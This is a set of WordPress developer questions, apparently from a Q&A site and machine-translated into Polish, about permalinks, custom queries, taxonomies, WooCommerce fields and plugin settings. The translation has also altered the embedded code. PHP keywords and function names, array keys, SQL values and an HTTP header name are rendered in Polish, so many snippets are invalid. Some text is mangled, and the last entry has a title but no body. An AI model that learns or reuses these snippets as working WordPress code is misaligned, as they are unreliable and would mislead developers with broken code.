title: Jak zmienić domyślny adres URL systemu w przyjazne adresy URL?

text: Do wszystkiego używaliśmy wordpressa i jesteśmy z tego naprawdę zadowoleni! Chociaż możemy dostosować sposób, w jaki wyglądają nasze przyjazne adresy URL, wydaje się, że nie ma sposobu, aby zrobić to samo w przypadku domyślnych adresów URL systemu? Na przykład, jeśli użytkownik spróbuje opublikować komentarz z wymaganym polem pozostawionym pustym, wyląduje w /wp-comment-post.php z komunikatem, że zapomniał wymaganego pola. Czy to nie jest trochę dziwne i brzydkie? Dlaczego ktoś miałby wybierać bezpośrednie pliki? Czy istnieje sposób na dostosowanie wszystkich tych systemowych adresów URL do bardziej przyjaznych wersji? Dobrze rozejrzałem się po Internecie, ale dobór słów kluczowych i niewielkie zainteresowanie ludzi zmianą tego nie dały mi dobrych wyników! Pamiętaj, że używamy IIS, więc rozwiązanie .htaccess nie działałoby tutaj, ale moglibyśmy spróbować użyć silnika przepisywania iis? Dziękuję


title: Pobierz posty według niestandardowego zapytania o identyfikator terminu

text: chcę pobrać niestandardowe posty za pomocą niestandardowej kwerendy. moja taksonomia to przepis_tx i terminy (wołowina) , (kurczak) itp. w nim . Próbowałem użyć SELECT p. * FROM wp_posts p, wp_term_taxonomy tt, wp_term_relationships tr WHERE p.ID=tr.`object_id` AND tt.`term_id`=tr.`term_taxonomy_id` AND (p.post_type = 'recipe_cpt') AND p.post_status = 'opublikuj' AND tt.`term_taxonomy_id` = 37 ale bez powodzenia . czy ktoś może mi pomóc, jak uzyskać posty wp według ich term_id . jeśli beefs id to 37, to chcę pobrać wszystkie posty z `term_id = 37` Dziękuję


title: Wyklucz identyfikator posta z wp_query

text: Jak mogę wykluczyć jeden konkretny post z zapytania WP_Query? (Na przykład pokaż wszystkie posty poza postem o identyfikatorze 278) Próbowałem argumentu post__not_in, ale po prostu usuwa wszystkie posty.. Każda pomoc byłaby świetna. Oto moje aktualne zapytanie <?php $temp = $wp_query; $wp_query= null; $wp_query = new WP_Query(array( 'post_type' => 'case-study', 'paged' => $paged, )); while ($wp_query->have_posts()): $wp_query->the_post(); ?> Dzięki


title: Dodawanie niestandardowych reguł przepisywania adresów URL

text: Chcę użyć 2 niestandardowych zapytań o posty na stronie profilu autora, oba zapytania używają paginacji. Dzięki następującej funkcji stronicowania otrzymuję tę strukturę adresów URL: http://localhost/author/admin/?xpage=2 http://localhost/author/admin/?ypage=2 Czy można przepisać powyższe adresy URL aby uczynić je takimi jak: http://localhost/author/admin/x/2 http://localhost/author/admin/y/2 Dla każdego z nich używam następującej funkcji do tworzenia paginacji: echo paginate_links( array ( 'base' => add_query_arg( 'xpage', '%#%' ), 'format' => '', 'prev_text' => __('«'), 'next_text' => __('»') , 'całkowita' => ceil($całkowita / $na_stronę), 'bieżąca' => $strona )); Próbowałem funkcji WordPress `wp_rewrite` i `generate_rewrite_rule`, ale nie mogłem tego zrobić.


title: Gdzie dodać kod html do div menu?

text: Patrząc na header.php widzę następującą linię: <?php wp_nav_menu( array( 'theme_location' => 'primary' ) ); ?> Ta funkcja jest zdefiniowana w nav-menu-template.php i generuje div 'menu-custom-menu-container'. Załóżmy, że chcę dodać div po liście nawigacyjnej w div „menu-custom-menu-contaner”. Gdzie miałbym to zrobić?


title: Czy kategoria podrzędna może mieć więcej niż jednego rodzica?

text: Patrzę na funkcję `get_categories()` w kodeksie WordPressa, aby zobaczyć, jak mogę zwrócić wszystkie dzieci każdego „rodzica głównego” (kategorie, które nie mają rodziców). Na przykład, jeśli jestem zainteresowany dziećmi wielu „rodziców głównych”, chciałbym wiedzieć, czy będzie więcej niż jedno wystąpienie tego samego dziecka pod innym „rodzicem głównym”. To prowadzi mnie do pytania: **Czy kategorie podrzędne w WordPressie mogą mieć wielu różnych rodziców?**


title: Pokaż słowa tytułu posta jeden po drugim

text: Jak wyświetlać słowa tytułowe posta jeden po drugim, ale wykluczyć słowa zawierające 3 lub mniej znaków. Przydałaby się również możliwość wyłączenia niektórych słów, na przykład sporządzenia listy słów, które mają być wykluczone z wyświetlania. Chodzi o to, aby pokazać słowa tytułu posta jeden, ale wykluczyć popularne słowa z 3 lub mniej znakami, takie jak: the, is, at, i, on, it... A także mieć możliwość stworzenia listy niechcianych słów. To jest to, co mam do tej pory, pobiera słowa tytułowe, jedno po drugim, ale bez wykluczania żadnego słowa. <?php $tytuł = pobierz_tytuł(); $części = rozbij( ' ', $tytuł ); echo $części[0]; echo $części[1]; echo $części[2]; //... ?>


title: Posty wyświetlane tylko w archiwum podatkowym pierwszego wybranego podatku

text: Mam więc c.taksonomię „Typy”, pod którymi są „Typ-Term 1” i „Typ-Term 2”. Jeśli „Post A” jest oznaczony jako „„Typ-Termin 1”, „Typ-Termin 2””, będzie wyświetlany tylko w archiwum terminów „Typ 2”. Jak mogę sprawić, by post oznaczony obydwoma terminami pojawił się w obu archiwach? Dziękuję!


title: Utworzyć niestandardowe linki bezpośrednie, aby pokazać relację typu niestandardowego posta?

text: Tworzę witrynę WordPress, która ma zarejestrowane 3 niestandardowe typy postów: `kurs`, `chapter` i `lekcja`. Wszystkie te typy wpisów są ze sobą powiązane i dzielą relację za pomocą pól niestandardowych. Na przykład, `chapter` ma niestandardowe pole, które przechowuje obiekt postu `course`, do którego należy. To samo dotyczy „lekcji” i „rozdziału”, do którego należy. Moje ustawienia permalinka używają struktury: `%category%/%postname%/`, w której wyświetla adres URL posta w następujący sposób: `www.domainname.com/custom-post-type-name/post-name` What i' Próbuję stworzyć niestandardową strukturę permalinków, która pokazuje relacje między tymi 3 typami postów w adresie URL. Przykład poniżej: Gdy użytkownik jest na kursie: `www.nazwadomeny.pl/kurs` Gdy użytkownik znajduje się w rozdziale: `www.nazwadomeny.com/kurs/rozdział` Gdy użytkownik jest na lekcji: `www.nazwadomeny.com /kurs/rozdział/lekcja` Przeglądając WordPress Codex znalazłem Rewrite API i WP_Rewrite(), jestem trochę zagubiony i nie wiem od czego zacząć. Jakakolwiek pomoc w tym zakresie byłaby bardzo mile widziana.


title: Funkcja is_plugin_active_for_network w Wordpress nie działa w przypadku wielu witryn

text: Muszę wykonać jakąś operację, jeśli użytkownik kliknie przycisk **Aktywacja sieci** na mojej wtyczce WP (w WP Multisite). Zauważyłem jednak, że funkcja is_plugin_active_for_network w Wordpress nie działa dla wielu witryn, gdy naciskam przycisk Aktywuj sieć z głównego panelu administratora. Nic nie zwraca, a zatem if(is_plugin_active_for_network('abc/abc.php')) nie jest spełniony. Jednak gdy sieć jest już aktywowana w sieci, funkcja - **is_plugin_active_for_network** działa poprawnie (zwraca **1** \- tj. **true** ). Czy ktoś może mi powiedzieć, jak mogę sprawdzić, czy przycisk **Aktywuj sieć** został kliknięty przez głównego administratora?


title: Dodaj wyniki niestandardowego zapytania do do_shortcode

text: Próbuję dodać listę postów z niestandardowego zapytania podczas ($the_query->have_posts()): $the_query->the_post(); do treści `do_shortcode`. W jaki sposób mogę to zrobić?


title: wp_sanitize_redirect usuwa znaki @ (nawet z parametrów) - dlaczego?

text: W mojej witrynie wordpress mam hack, który patrzy na uri i robi przekierowanie do subdomeny. Problem polega na tym, że wp_redirect wywołuje wp_sanitize_redirect, które usuwa znaki @, więc gdy użytkownik próbuje załadować coś takiego jak oursite.com?email=foo@bar.com Strona, która zostanie załadowana, powinna mieć prefix.oursite.com?email=foo@ bar.com, ale zamiast tego jest to prefix.oursite.com?email=foobar.com (tj. - brak znaku @) Problem można łatwo obejść - po prostu ręcznie koduję znaki @ jako %40 przed wywołaniem wp_redirect. Pytanie: dlaczego dokładnie wp_sanitize_redirect usuwa znaki @? Każdy może i tak spróbować załadować adres URL ze znakiem @ - czy jest jakiś problem z bezpieczeństwem, o którym nie myślę? EDYCJA: Funkcja, o której mówię, to wp_sanitize_redirect


**Co by się stało, gdybym chciał tylko tymczasowej funkcji?** (Jest to konwerter tylko do konwersji tabel Access do Wordpress). Chcę wykonać kilka razy, więc chcę to zautomatyzować, ale nie wiem, jak wykonać funkcję po dodaniu filtra w add_action(). Po zakończeniu konwersji usunę funkcję. Chcę zrobić coś takiego jak `http://url/index.php?convert` function addcoursecategoriesfromaccess() { //kod konwersji tabeli } add_action('convert','addcoursecategoriesfromaccess'); //Jeśli wpiszę http://url/index.php?convert, to chcę, aby addcoursecategoriesfromaccess() została wykonana if ($_REQUEST['GET'] == 'convert') { do_action('convert'); } Wydaje mi się, że brakuje mi czegoś bardzo prostego, ale jako nowicjusz w programowaniu WP mam nadzieję, że możesz mi pomóc :-) Mam kod wewnątrz functions.php w motywie.


title: get_the_terms zwraca tylko ostatni termin

text: W moim niestandardowym typie postu (portfolio_pt) mam hierarchiczną strukturę kategorii, coś takiego: ParentCat |-child |-someItem ParentCat2 |-cild ... Kiedy próbuję uzyskać listę wszystkich terminów za pomocą funkcji get_the_terms dla "someItem" funkcja zwraca tylko ostatnią kategorię ("Child Cat" bez "Parent Cat") przykład: global $post; $terms = get_the_terms( $post->ID, 'portfolio_pt_category' ); Próbuję użyć funkcji get_the_term_list, ale efekt jest taki sam, zwraca tylko ostatnią kategorię. Dzięki za pomoc!


title: Jak dołączyć pliki JavaScript tylko w pojedynczych postach?

text: Wiem, że `wp_enqueue_script()` wstawia pliki JavaScript do nagłówka WordPressa w odpowiednim miejscu. Jednak chcę dołączyć mój Javascript do wszystkich pojedynczych postów, ignorując stronę główną lub blog WordPress. Czy to w ogóle możliwe? Spróbowałem tego: <?php function my_scripts_method() { if ( is_single() ) { wp_deregister_script( 'jquery' ); wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js'); wp_enqueue_script( 'jquery' ); } } add_action('wp_enqueue_scripts', 'my_scripts_method'); ?> Ale to nie działa...


title: Nie można zmienić etykiety w woocommerce z normalnym filtrem

text: // Zaczep add_filter( 'woocommerce_checkout_fields' , 'custom_override_checkout_fields' ); // Nasza zahaczona funkcja - $fields jest przekazywana przez filtr! function custom_override_checkout_fields( $fields ) { $fields['order']['order_comments']['placeholder'] = 'Specjalne wymagania dotyczące dostawy'; $fields['billing']['billing_company']['label'] = 'Nazwa firmy, jeśli dotyczy'; $fields['shipping']['shipping_company']['label'] = 'Nazwa firmy, jeśli dotyczy'; $fields['billing']['billing_address_2']['placeholder'] = 'Numer / nazwa domu'; $fields['shipping']['shipping_address_2']['placeholder'] = 'Numer/nazwa domu'; $fields['billing']['billing_state']['required'] = prawda; $fields['billing']['billing_state']['label'] = 'Powiat <abbr class="wymagany" title="wymagany">*</abbr>'; zwróć $pola; } Użyłem tego kodu do zmiany niektórych pól formularza kasy woocommerce. Z jakiegoś niewytłumaczalnego powodu etykieta stanu rozliczeniowego odmawia zmiany. Mimo że etykieta dla firmy rozliczeniowej zmieniła się pomyślnie, etykieta dla państwa rozliczeniowego odmawia. Pomyślnie stało się to wymagane, ale nie mogę zmienić etykiety. Czy ktoś wie, co robię źle, czy jest to błąd.


title: Niestandardowe zapytanie z tabeli wtyczek

text: Mam problem, używam wtyczki systemu rezerwacji pro. Czy mogę wysłać zapytanie do posta w pętli filtrowanego według dostępności w tabeli wtyczek systemu rezerwacji pro?


title: Zwróć wszystkich użytkowników z określonym kluczem meta

text: Chciałbym użyć `get_users()`, aby zwrócić wszystkich użytkowników, którzy mają określony meta_key, ale nie chcę określać, jaka ma być wartość, ponieważ zmieni się ona dla każdego użytkownika. Wartość jest ciągiem json. czy to możliwe?


title: Zamów użytkowników według daty ostatniego posta

text: Używam następującego kodu, aby uzyskać autorów na moim blogu z wieloma autorami i uporządkować ich według liczby postów. Chcę je uporządkować według daty ostatniego posta $authors = get_users('role=author&orderby=post_count&order=DESC');


title: YOAST rozszerz mapę witryny

text: Napisałem wtyczkę Wordpress, która pobiera listę json z serwera. Ta lista służy do dynamicznego wyświetlania treści na podstawie różnych parametrów adresu URL. Chcę, aby ta treść została uwzględniona w mojej mapie witryny bez konieczności programowego tworzenia „statycznych” stron wordpress dla każdego elementu, ponieważ zawartość ta rośnie z dnia na dzień. Teraz szukam sposobu na dodanie tej listy do niestandardowej mapy witryny yoast. Czy przy każdej aktualizacji mapy witryny Yoast można uwzględnić moją niestandardową mapę witryny? A czy istnieje sposób na zmuszenie Yoasta do odtworzenia mapy witryny? dzięki za pomoc. Twoje zdrowie.


title: Zmiana motywu i wpływ na SEO

text: Mam motyw WP oparty na Genesis Framework i rozważam (podkreśliłbym słowo rozważanie, ponieważ wiem, jakie problemy może powodować) zmianę motywu mojej witryny. Nie żeby było w tym coś złego, po prostu myślenie o zmianie… jeśli nie jest to zbyt stresujące… Czy ktoś wie, czy może to spowodować jakąś zmianę w rankingach SEO, proszę? Z góry dziękuję.


title: Opcje niestandardowe we wtyczce, register_settings nie działa jako brak options.php?

text:
Mam problem z uzyskaniem niestandardowej wtyczki do zapisywania opcji, ponieważ nie może znaleźć options.php (i nie wiem, gdzie ma być) Pełny kod wtyczki: add_action( 'admin_menu', 'dotmailer_menu' ) ; function dotmailer_menu() { add_options_page( 'Opcje Dotmailera', 'Szczegóły Dotmailera', 'manage_options', 'dotmailer', 'dotmailer_options' ); } function dotmailer_options() { ?>
 <form method="post" action="options.php"> <?php settings_fields( 'settings-group' ); ?> <?php do_settings_sections( 'settings-group' ); ?> Klucz API
 <input type="email" name="apiemail" value="<?php echo get_option('apiemail'); ?>">
 Hasło
 <input type="password" name="apipassword" value="<?php echo get_option('apipassword'); ?>">

<input type="submit" value="Save" class="button-primary" />
 </form>
 <?php } function register_settings() { register_setting('settings-group','apiemail '); register_setting('settings-group','apipassword'); } Kiedy przesyłam formularz, po prostu zwraca błąd mówiący, że nie może znaleźć options.php. Czy mam sam stworzyć options.php? Używałem podobnego kodu wcześniej bez samodzielnego tworzenia options.php i nie miałem problemu.


title: Kodeks: Opis bazy danych: znaczenie kardynalności

text: Poniższy post opisuje, w jaki sposób słowo liczność jest powszechnie używane w przypadku baz danych: http://stackoverflow.com/questions/10621077/what-is-cardinality-in-databases. Jednak nie byłem w stanie zrozumieć, w jaki sposób ten termin jest używany na stronie opisów bazy danych w kodeksie: Database_Description - Table:_wp_postmeta> Typ nazwy klucza Pole kardynalne>> PRIMARY PRIMARY 13 meta_ID>> post_id INDEX 15 post_id>> meta_key INDEX 7 meta_key Co oznaczają tutaj 13, 15 i 7. Nie mam pojęcia, do czego odnoszą się liczby w polu kardynalności na tej stronie. Dziękuję.


title: Fragment a problemy z formatowaniem treści

text:
Jeden z moich postów ma następującą treść: To jest post testowy. Nic dodać nic ująć. Trzy linijki przed skokiem  I jeszcze parę linijek po skoku. _Uwaga_ : zostały napisane tak, jak je widzisz, w edytorze WP, przy użyciu zakładki HTML - więc nie mamy ukrytego `<br>` ani niczego innego, co dzieje się w treści posta. _Also_ : Nie zdefiniowano fragmentu ręcznego dla tego posta. Jeśli używam `the_content()`, otrzymuję to:
To jest post testowy. Nic więcej,
 nic mniej.
 Trzy linie przed skokiem

»
 Jeśli jednak używam `echo get_the_excerpt();` Otrzymuję to: To jest post testowy. Nic dodać nic ująć. Trzy linijki przed skokiem Żadnych `<p>` ani `<br />` ( _do diabła_ , nawet `[...]` których się spodziewałem!) Co tak naprawdę chciałbym osiągnąć w mój motyw to (oczywiście w The Loop): 1. Jeśli istnieje ręczny fragment: wyświetl go (i wiem, że będę musiał poprawić `[...]`) 2. W przeciwnym razie wyświetl zawartość, z poszanowaniem dowolne `<!--more-->` jakie możesz znaleźć. Tak więc zaczynałem od tego $excerpt = get_the_excerpt(); if($excerpt=='') { //prawo, isset lub empty może być lepsze the_content(); } else { echo $ fragment; } Ale mam wrażenie, że jest lepszy sposób? A może istnieje szybka naprawa wspomnianego powyżej problemu z formatowaniem?


title: Pobierz listę terminów — zamawianie

text: Mam systematykę krajową z taksonomiami dzieci > stan i miasto. Dla danego wpisu dotyczącego restauracji w Nantucket chcę, aby był napisany „Nantucket, Massachusetts, Stany Zjednoczone (każdy jest powiązany z tymi stronami taksonomii)”, ale kod, który dostałem do pracy (jestem nowy w PHP) wyprowadza: Massachusetts, Nantucket, Stany Zjednoczone $terms_as_text = get_the_term_list( $post->ID, 'country', '', ', ', '' ); echo strip_tags($terms_as_text); Jak ustawić to w porządku według odwrotnej hierarchii taksonomii > Miasto, stan, kraj? Z góry dziękuję za wszelką pomoc!


title: wp_list_categories i niestandardowe typy postów

text: Jestem zmieszany. * Mam niestandardowy wpis typu „asset”. * Stworzyłem posty i wszystkie znajdują się w `/asset/post-title` * Do typu posta niestandardowego przypisałem kategorie, np. "patterns" * Strona kategorii pokazuje liczbę postów w każdej kategorii * Jeśli spojrzysz na meta postu dla dowolnego z tych postów w jednym widoku, wyświetla przypisaną do niego kategorię. JEDNAK, jeśli klikniesz link kategorii w meta postu („wzory”), otrzymuję stronę „nic nie znaleziono”. Jeśli przypiszę kategorię do **normalnego** typu posta, pokaże się strona kategorii. O czym zapomniałem? EDYCJA: Powinienem również dodać, że LINK do "wzorów" to `/category/patterns`


title: Eksportowanie i importowanie mojej bazy danych Wordpress, ale żadne z ustawień wtyczki nie są importowane

text: Zrzucam całą bazę danych WordPressa, zmieniam wszystkie niezbędne referencje, a następnie importuję do innej domeny. Wszystko działa dobrze, z wyjątkiem tego, że moje ustawienia wtyczki nie są ustawiane w nowej domenie. Czy ktoś wie, czy Wordpress zapisuje gdzieś ustawienia wtyczek? Albo powód, dla którego aktywowałby wszystkie wtyczki, ale nie ustawiał ustawień? Wtyczki, z którymi mam problemy, to Adminimize, Admin Menu Editor i User Roles. To jest najbliższa wtyczka, jaką udało mi się znaleźć, aby rozwiązać ten problem, ale nie działa dla Wordpress 3.1 - http://wordpress.org/extend/plugins/sk-wp-settings-backup/ Z góry dziękuję za wszelką pomoc może mi dać.


title: Zmiana adresu URL typu posta niestandardowego — (portfel z użyciem kategorii portfela)

text: Zastanawiam się czy mógłbyś mi pomóc. Używam motywu, który ma „portfolio” jako niestandardowy typ posta. Pozycje portfela można kategoryzować w podobny sposób jak standardowe posty. Obecnie motyw generuje adresy URL portfolio w następującym formacie: mojawitryna.com/portfolio/portfolio-post ...gdzie 'nazwa-portfolio' to po prostu tytuł posta. środkowa część adresu URL pozostaje statyczna. Chciałbym osiągnąć coś takiego: mysite.com/portfolio-category/portfolio-post ...gdzie część 'portfolio-category' adresu URL jest pobierana z kategorii portfolio. Każde stanowisko w portfelu zostanie przypisane tylko do jednej kategorii portfela w danym momencie. Mogę przesłać przykłady kodu, jeśli ułatwi to zrozumienie tego, co staram się osiągnąć. Z góry dziękuję H


title: przy użyciu Ajax: wywołanie niezdefiniowanej funkcji get_option

text: Używam ajax w moim szablonie, aby załadować plik o nazwie counter.php. Kiedy klikam przycisk, ma to zwiększyć licznik. Ale kiedy klikam przycisk, pojawia się błąd „Błąd krytyczny: Wywołaj niezdefiniowaną funkcję get_option()”. To jest to, co mam na counter.php $post_ID = $_POST['ID']; $opn_name = 'fb_counter'.$post_ID; $counter_value = get_option($opn_name); if($counter_value==NULL){ $counter_value = 0; } update_option($opn_name, $counter_value+1); echo get_option($opn_name); Nie jestem pewien, co jest nie tak. Czy muszę dołączyć jakiekolwiek pliki Wordpress do tego pliku php?


title: potrzebujesz pomocy z istniejącym kodem pokazującym podstrony

text:
Pomagam przyjacielowi dokonać zmian w motywie wordpress. W tej chwili wyświetlanie podstron działa tylko dla jednego rodzica i jego podstron (tej o id 31), ale chcemy, aby działało dla wszystkich stron (i ich dzieci). Chcę mniej więcej zachować kod bez zmian, po prostu wprowadź niezbędne zmiany, aby zastosować je do wszystkich. Chociaż jestem całkiem dobry w css i html, php nie jest moją mocną stroną, więc byłbym wdzięczny za pomoc w rozwiązaniu tego problemu. To jest istniejący kod: $currentPageId = get_the_ID(); $pages = get_pages('child_of=31'); $i=0; foreach($pages as $child) { $childrenPageID[$i] = $child->ID; $i++; } if ( (get_the_ID() == 31) || ( in_array($currentPageId, $childrenPageID)) ) { $taxonomy = 'portfoliocat'; $orderby = 'nazwa'; $pokaz_liczba = 0; // 1 dla tak, 0 dla nie $pad_counts = 0; // 1 dla tak, 0 dla nie $child_of = 5; $liczba_pokazów = 1; $title_li = null; $args = array( 'taxonomy' => $taxonomy, 'orderby' => $orderby, 'show_count' => $show_count, 'pad_counts' => $pad_counts, 'child_of' => $child_of, 'show_count' => $show_count, 'title_li' => $title_li ); ?>

 <?php $cat = get_query_var('cat '); // policz wszystkie kategorie $totalCount = count(get_categories($args)); $bieżącaLiczba = 0; foreach(get_categories($args) as $category) { // pobierz aktualną liczbę stosu $bieżącaLiczba = $bieżącaLiczba + 1; globalny $wpdb; $lookForValue = $kategoria->slug; $querystr = "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = 'category-include' AND meta_value = '".$lookForValue."'; "; $postid = $wpdb->get_var($wpdb->przygotuj($querystr)); // logika usunięcia ostatniego łącza if ($totalCount != $currentCount ) { echo '
' . $category->nazwa.'   |
'; } else { echo '
' . $kategoria->nazwa.'
'; } }?>

 } Wiem, że muszę zmienić if, ale nie mam pojęcia, czym to zastąpić. Jakieś sugestie? Z góry dziękuję! Joanna


title: Kategoryzuj tagi wordpress

text: Mam problem z kategoryzacją wordpress TAG, w moim przypadku dla języka. na przykład: **postA** : englishtag1,englishtag2,englishtag3, chinesetag1,chinesetag2, **postB** : englishtag2,englishtag5,englishtag4, chinesetag1,chinesetag3, chcę pokazać chmurę tagów na podstawie „języka”: ** chmura tagów w języku angielskim** : englishtag1,englishtag2,englishtag4,englishtag5 **chmura tagów w języku angielskim** : chinesetag1,chinesetag3,chinesetag2,chinesetag4 itd.. czy to możliwe? jak to osiągnąć? Dziękuję Ci


title: Jaka treść powinna znaleźć się w index.php?

text:
Rozwijam własny motyw i wymyśliłem problem, z którym jestem zdezorientowany. Mam dwa pliki, które próbuję rozgryźć. `page.php` i `index.php`. Wiem, że page.php jest oczywiście używany do stron, ale kiedy próbujesz ustawić stronę 404, na przykład: <?php if (have_posts()) : while (have_posts()) : the_post(); ?>

<?php wp_title(''); ?>
 <?php the_content(); ?>
 <?php get_sidebar(); ?>

 <?php endwhile; else : ?> 404 nie znaleziono <?php endif; ?> Nic nie zostanie wyświetlone. Teraz, jeśli skopiuję tę treść i wstawię ją do index.php, będę miał stronę 404. Nie mam pojęcia, co zrobić, ponieważ dla motywu wymagany jest plik index.php, ale nie wiem, co z nim zrobić. Czy ktoś może wyjaśnić różnice i jaki rodzaj treści w nim faktycznie się znajduje?


title: Błąd zduplikowanego wpisu bazy danych Wordpress (specyficzny dla Crona)

text: To jest jeden błąd, który moja witryna stale generuje w pliku dziennika błędów. Błąd bazy danych WordPress Zduplikowany wpis '59199038' dla klucza 'PRIMARY' dla zapytania INSERT INTO `admission_options` (`nazwa_opcji`, `wartość_opcji`, `autoload`) WARTOŚCI ('cron', 'a:2:{i:1406114668;a) :1:{s:16:\"wp_version_check\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\" dwa razy dziennie\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}}s:7:\"wersja\";i:2 ;}', 'tak') PRZY AKTUALIZACJI ZDUPLIKOWANEGO KLUCZY `nazwa_opcji` = WARTOŚCI(`nazwa_opcji`), `wartość_opcji` = WARTOŚCI(`wartość_opcji`), `autoload` = WARTOŚCI(`autoload`) wykonane przez require('wp -blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('init'), call_user_func_array , wp_schedule_update_checks, wp_schedule_event, _set_cron_array, update_option, add_option Jakakolwiek pomoc, jak to naprawić, będzie świetna!


title: Niestandardowy typ posta - pole zamówienia

text: Czy w niestandardowym typie posta można uwzględnić pole „zamówienie”, które jest dostępne dla stron? Czy istnieje wbudowana logika, która zapobiega duplikowaniu wartości w polu „zamówienie”? Chodzi o to, aby móc sortować niestandardowe typy postów według kolejności określonej przez użytkownika, a następnie alfabetycznie według niestandardowego pola opartego na ciągach.


title: Niestandardowa wtyczka zawiera wp-load.php w moim nowym pliku.php

text: Stworzyłem niestandardową wtyczkę w WordPress i przesłałem ją do WordPress.org, ale wtyczka została odrzucona, ponieważ dodałem require_once("../../../../wp-load.php"); W jednym z moich plików php, który zbiera odpowiedź POST. Jak więc mogę dołączyć ten wp-load.php we właściwy sposób, aby uzyskać zgodę od WordPressa. Proszę, pomóż mi z tym. Pozdrawiam Krijesh PV.


title: Zmiana kategorii postów z listy rozwijanej

text:
Pokazuję listę postów na przedniej stronie mojej witryny wordpress, z których każdy ma obok nich rozwijane menu z listą kategorii, które są wciągane w następujący sposób. Jak widać, przycisk przesyłania formularza jest opakowany w znaczniki `<noscript>`, aby po wybraniu opcji z rozwijanego menu w danej chwili przekierowywał do wybranej kategorii. Chcę zmienić tę funkcjonalność, aby po wybraniu opcji z menu rozwijanego dodawał odpowiedni post do kategorii wybranej z menu rozwijanego, ale także zachował go we wszystkich innych kategoriach, w których był wcześniej. Wysyłam formularz do `addcat.php`, o którym myślę, że muszę dodać skrypt, aby zrobić to, czego potrzebuję? <form action="<?php bloginfo('url'); ?>/addcat.php" method="get">
 <?php $select = wp_dropdown_categories('show_option_none=Wybierz kategorię&show_count=0&orderby=name&echo=0&child_of =28&ukryj_pusty=0'); $select = preg_replace("#<select([^>]*)>#", "<select$1 onchange='zwróć ten.form.submit()'>", $select); echo $wybierz; ?>
<input type="submit" value="View" />

 </form> W tej chwili mam w swoich funkcjach: function addPostToCategoryLauncher( ) { $nowyIdKat = 28; $newCatId = get_cat_ID( 'moja-kategoria' ); $categories = wp_get_object_terms( $post->ID, 'kategoria', array('fields' => 'ids') ); array_push( $kategorie, $nowyIdKat ); $categories = array_unique( array_map( 'intval', $categories ) ); wp_set_object_terms( $post->ID, $categories, 'kategoria' ); } add_action( 'init', 'addPostToCategoryLauncher' ); A w moim addcat.php if( !empty( $_POST['cat']) ) { add_action( 'init', 'addPostToCategoryLauncher' ); } header('Lokalizacja: ' . $_SERVER['HTTP_REFERER']); Ale to tylko mówi add to catId=28, ale potrzebuję, aby była to kategoria wybrana z listy rozwijanej, a nie identyfikator 28, funkcja również nie działa, więc może wymagać kilku poprawek.


title: Czy mogę tworzyć front-endowe edytowalne strony profilu użytkownika za pomocą Wordpress? Jak mam to zrobić?

text: Próbuję zbudować witrynę WP, w której _korzystając z front-endu_ każdy użytkownik może: 1. Zarejestrować się przez front end za pomocą podstawowych pól 2. Zalogować się 3. Stworzyć własną stronę profilu za pomocą wielu formularzy 4. Prześlij tekst, obraz i danych wideo za pomocą formularzy profilowych 5. Twórz informacje związane z pracą (portfolio składające się z obrazów i wideo), które są niezależne od formularzy profilowych 6. Umiejętność edytowania zarówno profilu, jak i informacji związanych z portfolio, unikalnych tylko dla ich własnego profilu Podsumowując, my mówimy o _2 oddzielnych typach informacji_ : A) informacje o profilu użytkownika, które mogą być aktualizowane w dowolnym momencie po rejestracji B) Informacje o portfelu, które wykorzystują różne media do tworzenia profilu front-end dla użytkownika. Powinno to być edytowalne i aktualizowalne **za pośrednictwem interfejsu użytkownika** również po rejestracji. Czy można to zrobić z Wordpersami? Jakie narzędzia i podejścia polecasz?


title: Problem ze skryptem warunkowym PHP

text: Mam 2 oddzielne bloki kodów, jak pokazano poniżej, a ten poniżej nie działa, chyba że odetnę pierwszy. Jakieś pomysły, w czym może być problem? **Skrypt warunkowy** <?php { ?> <?php if ( is_front_page() ) { get_template_part('home-page-content'); } elseif ( is_page('archives')) { get_template_part('archives'); } else get_template_part('zawartość-strony pomocniczej'); ?> <?php } ?> **Drugi blok skryptu** <div id="footer"> <?php echo get_post_meta($post->ID, "biz_code", prawda); ?> </div>


title: Nie mogę zrozumieć, dlaczego zawartość widżetu znika z administratora

text:
za każdym razem, gdy dokonuję zmiany w dowolnym widżecie w adminie, znikają one - czasami tylko z admina, czasami z frontendu, a czasami z obu. Odzyskuję je dodając `update_option( 'sidebars_widgets', $null );` na dole functions.php - wtedy widzę je w admin jako 'nieaktywne widżety'. Następnie ręcznie dodaję je wszystkie w admin - to bardzo frustrujące! Używam Canvas z niestandardowym motywem podrzędnym. Dodałem nowy obszar widżetu, dodając // obszar widżetu Underhome if ( function_exists('register_sidebar') ){ register_sidebar(array( 'name' => 'Underhome widget', 'id' => 'underhome_widget', 'description' = > "Obszar widżetów pod treścią strony głównej", 'before_widget' => '
', 'after_widget' => '

 ', 'before_title' => '
', 'after_title' => '
', )); } do functions.php Następnie stworzyłem szablon strony i dodałem  <?php if ( dynamic_sidebar('underhome_widget') ): endif; ?> Nie widzę w tym nic złego? może to nie ma związku? W każdym razie jestem totalnie utknął, czy ktoś ma jakieś sugestie poza zmianą kariery?


title: Dzielenie podmenu na kolumny lub umieszczanie istniejących menu w innym menu jako pozycja podmenu

text: Mam menu z długą listą pozycji podmenu. Chciałbym podzielić to na kolumny, a najprostszym sposobem, w moim umyśle, byłoby podzielenie ich na wiele . Czy jest na to sposób? Alternatywnie, obecnie mam pozycje podmenu w czterech różnych menu (tak, że mogę je wyświetlić w czterech kolumnach w stopce). Czy mogę umieścić te menu w moim menu głównym jako pozycje podmenu?


title: Jak sformatować kod HTML shortcode w zewnętrznym pliku?

text: Muszę dodać krótki kod w moim motywie i chciałbym umieścić kod HTML nie w funkcji, która tworzy krótki kod, ale w pliku szablonu w moim katalogu motywu. Teraz mam funkcję wpse450_show_video($atts) { extract(shortcode_atts(array('id' => 0), $atts)); if( is_numeric($id)) { $ngvideo_title = get_the_title($id); } return '<div>'.$ngvideo_title.'</div>'; } add_shortcode( 'ngvideo', 'wpse450_show_video' ); Chciałbym umieścić plik `<div>'.$ngvideo_title.'</div>` w zewnętrznym pliku. Jak to zrobić?


title: Czy istnieje lepszy sposób na tworzenie nagłówków (wszystkich) archiwów?

